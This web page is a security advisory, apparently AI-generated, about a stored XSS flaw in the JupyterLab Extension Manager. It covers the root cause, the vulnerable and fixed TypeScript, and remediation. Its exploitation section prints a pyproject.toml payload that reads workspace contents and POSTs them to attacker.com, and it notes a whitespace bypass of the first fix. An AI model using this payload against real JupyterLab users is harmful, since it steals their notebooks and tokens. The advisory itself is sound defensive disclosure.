CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-VMHF-C436-HXJ4

GHSA-VMHF-C436-HXJ4: Client-side Stored Cross-Site Scripting (XSS) in JupyterLab Extension Manager

Amit Schendel
Amit Schendel
Senior Security Researcher

Jun 19, 2026·5 min read·26 visits

Executive Summary (TL;DR)

JupyterLab versions before 4.5.9 are vulnerable to Stored Cross-Site Scripting (XSS) via the Extension Manager. Attackers can leverage malicious homepage metadata in PyPI packages to execute arbitrary JavaScript in the user's browser session.

A client-side Stored Cross-Site Scripting (XSS) vulnerability exists in the JupyterLab Extension Manager. This vulnerability allows an attacker to register a malicious package on the Python Package Index (PyPI) with a crafted metadata homepage URL using the 'javascript:' pseudo-protocol. When a JupyterLab user opens the Extension Manager and clicks the extension name, the browser executes arbitrary JavaScript code within the context of the JupyterLab origin. This can lead to the theft of active workspace documents, credentials, and API tokens. The issue affects all versions of JupyterLab prior to version 4.5.9.

Vulnerability Overview

The JupyterLab Extension Manager allows users to search, install, and manage extensions directly within the user interface. By default, it queries the public Python Package Index (PyPI) to fetch extension packages and their corresponding metadata.\n\nThe attack surface is exposed via the rendering of this external, untrusted metadata within the JupyterLab user interface. The vulnerability represents a client-side Stored Cross-Site Scripting (XSS) flaw, classified under CWE-79 (Improper Neutralization of Input During Web Page Generation) and CWE-20 (Improper Input Validation).\n\nAn attacker can register a malicious package on PyPI or hijack an existing one to deliver an active payload. When a JupyterLab administrator or user browses extensions, the interface displays the package details, including a link to the homepage. If the homepage URL uses an unvalidated pseudo-protocol, interaction with the UI triggers code execution within the security origin of the JupyterLab server.

Root Cause Analysis

The fundamental cause of this vulnerability lies in the lack of protocol validation for user-supplied links before rendering them in the Document Object Model (DOM). In the JupyterLab backend component, package metadata is retrieved from the PyPI JSON API, and a primary URL is selected from the configuration.\n\nThe selected metadata string is assigned to the homepage_url property and transmitted to the React frontend. In the React widget responsible for rendering list entries, the application processed this URL by embedding it directly inside the href attribute of an HTML anchor (<a>) tag.\n\nBecause the scheme of the URL was not validated or restricted, a pseudo-protocol such as javascript: was parsed as a valid reference. When a user clicks the anchor element, the browser interprets the URI as an instruction to execute JavaScript code in the context of the origin, bypassing security boundaries.

Code Analysis

The vulnerable code path directly assigned the raw string to the anchor tag without any sanitization or protocol checking.\n\ntsx\n{entry.homepage_url ? (\n <a href={entry.homepage_url} target=\"_blank\" rel=\"noopener noreferrer\">\n {entry.name}\n </a>\n) : ( \n <div>{entry.name}</div> \n)}\n\n\nThe first mitigation attempt implemented isProtocolAllowed utilizing the native URL constructor resolved against window.location.href. This attempted to restrict allowed schemes to http: and https:.\n\ntypescript\nfunction isProtocolAllowed(url: string): boolean {\n try {\n const parsed = new URL(url, window.location.href);\n const protocol = parsed.protocol.toLowerCase();\n return ['http:', 'https:'].includes(protocol);\n } catch {\n return false;\n }\n}\n\n\nThis implementation was incomplete because it resolved relative URLs against the current window location. An attacker could prefix the protocol with whitespace or control characters, causing the native parser to treat it as a relative path. The browser's HTML parser, however, would later normalize the string, strip the whitespaces, detect the javascript: protocol, and execute it.\n\nThe final fix resolved this bypass by removing the base URL argument from the URL constructor. This forces the parser to process the input strictly as an absolute URL, throwing an exception for relative paths or malformed strings.\n\ntypescript\nfunction isProtocolAllowed(url: string): boolean {\n try {\n const parsed = new URL(url);\n const protocol = parsed.protocol.toLowerCase();\n return ['http:', 'https:'].includes(protocol);\n } catch {\n return false;\n }\n}\n

Exploitation & Attack Flow

To perform this attack, an actor must publish a Python package containing a malicious URL scheme to the public PyPI repository. This is accomplished by setting the homepage URL under the metadata section of the pyproject.toml file.\n\nThe metadata configuration resembles the following structure:\n\ntoml\n[project.urls]\nHomepage = \"javascript:fetch('/api/contents').then(r=>r.json()).then(d=>fetch('https://attacker.com/log',{method:'POST',body:JSON.stringify(d)}))\"\n\n\nWhen the user accesses the JupyterLab Extension Manager, the backend queries PyPI and displays the malicious extension. The victim must perform a single action of clicking the package name in the extension panel.\n\nOnce clicked, the browser executes the payload. Because the execution occurs within the authenticated JupyterLab origin, the payload can access local resources, retrieve sensitive documents, extract API tokens, or perform unauthorized administrative actions on behalf of the user.\n\nmermaid\ngraph LR\n A[\"Attacker publishes malicious PyPI package\"] --> B[\"JupyterLab fetches package metadata from PyPI\"]\n B --> C[\"User opens Extension Manager UI\"]\n C --> D[\"User clicks on malicious extension name\"]\n D --> E[\"Browser executes javascript: payload in JupyterLab origin\"]\n E --> F[\"Attacker steals notebooks, credentials, or API tokens\"]\n

Impact Assessment

The security impact of this vulnerability is substantial for multi-user JupyterLab instances and administrative environments. Execution of arbitrary JavaScript within the JupyterLab origin allows full control over the user session and the resources exposed to that session.\n\nAn attacker can compromise the confidentiality of the server by reading stored files, workspaces, and notebook data. They can compromise integrity by writing new files, modifying existing code, or running system commands if the terminal API is accessible under the hijacked session.\n\nWhile the CVSS 4.0 base score is calculated as 5.1 (Medium), the actual severity can escalate if the active JupyterLab session has elevated access to backend kernels, sensitive datasets, or internal networks.

Remediation & Mitigation Guidance

The recommended remediation is upgrading the JupyterLab installation to version 4.5.9 or higher. This version implements strict validation of URLs rendered within the Extension Manager React component.\n\nFor instances where immediate patching is not possible, the Extension Manager should be disabled. This prevents any metadata queries to PyPI and eliminates the associated attack vector.\n\nThe Extension Manager can be disabled by adding the appropriate configuration parameter to the jupyter_server_config.json file. Setting extension_manager to \"none\" prevents the rendering of external package lists.

Official Patches

JupyterLab GitHubOfficial Security Advisory

Fix Analysis (2)

Technical Appendix

CVSS Score
5.1/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Affected Systems

JupyterLab

Affected Versions Detail

Product
Affected Versions
Fixed Version
jupyterlab
Jupyter
< 4.5.94.5.9
AttributeDetail
CWE IDCWE-79 / CWE-20
Attack VectorNetwork (AV:N)
CVSS v4.05.1 (Medium)
Exploit StatusProof-of-Concept
Affected VersionsAll versions prior to 4.5.9
RemediationUpgrade to v4.5.9 or set extension_manager to 'none'

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

References & Sources

  • [1]GitHub Security Advisory GHSA-vmhf-c436-hxj4
  • [2]JupyterLab v4.5.9 Release Tag

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•44 minutes ago•CVE-2026-105769
9.3

CVE-2026-105769: Azure Entra ID Token Exfiltration in Kaniko via Unanchored ACR Hostname Regex

CVE-2026-105769 (GHSA-5q7h-w9jf-cx97, GO-2026-6225) is an origin validation error and credential exfiltration vulnerability affecting Kaniko prior to version 1.25.20. The flaw stems from an unanchored regular expression in the integrated Azure Container Registry (ACR) credential helper (github.com/chrismellard/docker-credential-acr-env). When Kaniko processes a Dockerfile containing an image reference hosted on a lookalike domain containing an ACR suffix as a substring (e.g., x.azurecr.io.attacker.com), the credential helper acquires a Microsoft Entra ID access token for Azure Resource Manager and transmits it via HTTP POST to the attacker-controlled host.

Amit Schendel
Amit Schendel
1 views•11 min read
•about 2 hours ago•CVE-2026-62300
6.5

CVE-2026-62300: Uncontrolled Resource Consumption in filecoin-pin Daemon

CVE-2026-62300 is an uncontrolled resource consumption vulnerability (CWE-400) affecting the daemon mode of filecoin-pin in versions up to and including 1.1.0. The daemon implements the IPFS Pinning Service API to store content on Filecoin's Proof of Data Possession (PDP) service. Due to the absence of rate limits, concurrency caps, execution timeouts, and Directed Acyclic Graph (DAG) traversal limits, an authenticated user—or an unauthenticated user when authentication is disabled—can exhaust system resources via crafted POST /pins requests.

Amit Schendel
Amit Schendel
2 views•11 min read
•about 3 hours ago•CVE-2026-61536
7.5

CVE-2026-61536: Remote Code Execution via Unsafe Reflection in masci/banks CompletionExtension

CVE-2026-61536 is a high-severity Remote Code Execution (RCE) vulnerability in the masci/banks Python library prior to version 2.4.3. The flaw exists within the CompletionExtension component, which parses JSON-serialized Tool definitions directly from rendered Jinja template bodies inside {% completion %} blocks. When handling tool calls returned by an LLM, the library dynamically resolves the target callable using importlib.import_module() and getattr() based on an unvalidated import_path string. An attacker who can supply or modify prompt templates can inject a malicious Tool JSON object pointing to arbitrary Python functions (such as os.system), bypassing the Jinja SandboxedEnvironment introduced in version 2.4.2 and achieving arbitrary code execution when the LLM invokes the tool.

Alon Barad
Alon Barad
5 views•10 min read
•1 day ago•CVE-2026-93363
4.3

CVE-2026-93363: Improper Access Control in Payload CMS Storage Upload Route

Payload CMS contains a missing authorization vulnerability (CWE-862) in its client-side upload instructions endpoint and the `@payloadcms/storage-vercel-blob` storage adapter. Two distinct logic defects allow authenticated users lacking collection-level `create` or `update` permissions to generate signed upload tokens and upload arbitrary files directly to external cloud storage.

Alon Barad
Alon Barad
7 views•9 min read
•1 day ago•CVE-2026-55098
6.5

CVE-2026-55098: Cross-Database Authorization Bypass via DuckDB Table-Valued I/O Functions in Basekick-Labs Arc

CVE-2026-55098 (GHSA-93cm-2v4m-c56c) is an authorization bypass and sensitive information disclosure vulnerability in Basekick-Labs Arc prior to version 26.06.2. The flaw stems from an incomplete remediation of CVE-2026-47735, which failed to restrict the full suite of DuckDB table-valued filesystem I/O functions and quoted-identifier invocations. Because Arc's query parser ignores function calls during table reference extraction, authenticated users with minimal or empty permissions can invoke functions like parquet_scan(), glob(), and read_blob() to read, enumerate, and extract telemetry data across all tenant databases residing within the shared local storage root.

Alon Barad
Alon Barad
7 views•10 min read
•1 day ago•CVE-2026-113787
6.1

CVE-2026-113787: Stored Cross-Site Scripting via Unescaped Style Attributes in odf-kit

CVE-2026-113787 is a stored Cross-Site Scripting (XSS) and HTML injection vulnerability affecting the odf-kit npm package from version 0.6.0 prior to 0.14.2. The HTML conversion engines (odtToHtml and odsToHtml) interpolate document-controlled styling and image attributes directly into inline style and src attributes without escaping double-quote characters. A remote attacker can supply a crafted .odt or .ods document to break out of HTML attribute boundaries and execute arbitrary JavaScript in the context of any web application rendering the converted HTML.

Alon Barad
Alon Barad
7 views•11 min read